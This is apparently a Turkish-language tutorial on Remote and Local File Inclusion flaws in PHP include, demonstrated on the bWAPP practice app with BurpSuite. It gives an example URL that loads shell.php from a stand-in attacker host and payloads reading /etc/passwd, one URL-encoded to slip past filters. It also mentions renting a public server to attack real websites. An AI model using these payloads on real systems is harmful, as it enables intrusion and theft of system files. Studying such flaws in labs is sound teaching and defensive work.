RFI Ve LFI Vulnerability

Bu iki zafiyeti aynı makalede yazmamızın sebebi aslında aynı yanlışlıktan dolayı ortaya çıkmaları. Bu zafiyetlerin temel nedeni php kodunda ki include kodunun düzgün yapılandırılmaması diyebiliriz. Şimdi sırasıyla anlatıma geçebiliriz. SSRF ile çok benzerlik gösterirler. Ve çok tehlikeli SSRF’te olduğu gibi uzaktan kod yürütmemizi sağlayabilir (RFI), veri tabanlarına ulaşabiliriz.

 

RFI Nedir Nasıl Test Yapılır?

Remote File Inclusion, php include eksikliği sayesinde uzaktan dosya ekleyerek kod çalıştırmamızı sağlar. Bir url ile örnek verelim 

https://alperencoskun.com/index.php?rfi=xx.com/xx.png   şeklinde bir url gördüğümüzü varsayalım. Yani php sayfasında xx sitesinden bir veri çekiyor.

Test aşamasına geçtiğimizde shell.php dosyasını enjekte edebilirim. Aşağıdaki gibi bir url hazırlamam yeterli olabilir:

https://alperencoskun.com/index.php?rfi=https://saldirganadres.com/shell.php

 

Şeklinde kodu yükledikten sonra shell açabilirim. Konuya daha yakından hâkim olmak adına uygulamayı bWAPP üzerinden inceleyelim.

Bunu da BurpSuite paketleri inceleyerek yapabiliriz. 

İlk başta basit bir php kodu yazıyoruz çalıştırdığımızda ekrana “allsafe” yazacaktır.

image

Yukarıdaki gibi basit bir php dosyası oluşturduk. RFI saldırısı için aşağıdaki adımları izleyeceğiz.

 

/var/www/html/allsafe dizinine bu php dosyasını ekleriz ve Local ağda olduğumuz için service apache2 start ile apache serverimizi başlatıyoruz. 

(Gerçek bir Web sitesinde public bir sunucuya ihtiyacımız olabilir, bunu da birkaç saatlik deneme sürümü olan sunucu kiralayan sitelerden temiz edebiliriz.) 

Artık hazırız.

image

Go butonuna tıkladığımda yukarıdaki gibi bir paket geliyor. Language parametresinde de bir php dosyası çalıştırdığını görüyoruz. Peki biz neden manipüle edip araya zararlı dosyamızı yüklemeyelim.

image

Yukarıda uzaktan bir dosya yükleyerek kod çalıştırmak için yazdık

 

image

Php kodunu çalıştırdık ve ekrana “allsafe” yazdırdık. Bunu BurpSuite repeater aracılığıyla yapıp response bölümünden de görebiliriz.

 

 

LFI Nedir Nasıl Test Edilir?

LFI (Local File Inclusion), php include kodundan kaynaklanan ve localdeki dosyaları çalıştırmamıza izin verir. RFI açığına göre daha az risklidir. Çünkü dışarıdan herhangi zararlı yazılım yükleyemeyiz. Test aşamasında /etc/passwd şeklinde denemeler ya da file:///etc/passwd şeklinde denemeler yapabiliriz. Örnek olarak bWAPP’ten 2 örnek yapalım.

İlk örnekte file:///etc/passwd deneyeceğiz. Fakat url encoding (farklı encoding deneyebiliriz, amaç filitrelemelere takılmamak) yaparak göndereceğiz ki biraz daha gerçekçi olsun.

image

Yukarıdaki gibi url encoding yaptık ve manuel ya da BurpSuite paketi manipüle ederek yollayabiliriz.

image

Gönderdiğimizde başarılı olduk LFI açığını kullanarak file:///etc/passwd çalıştırmış olduk.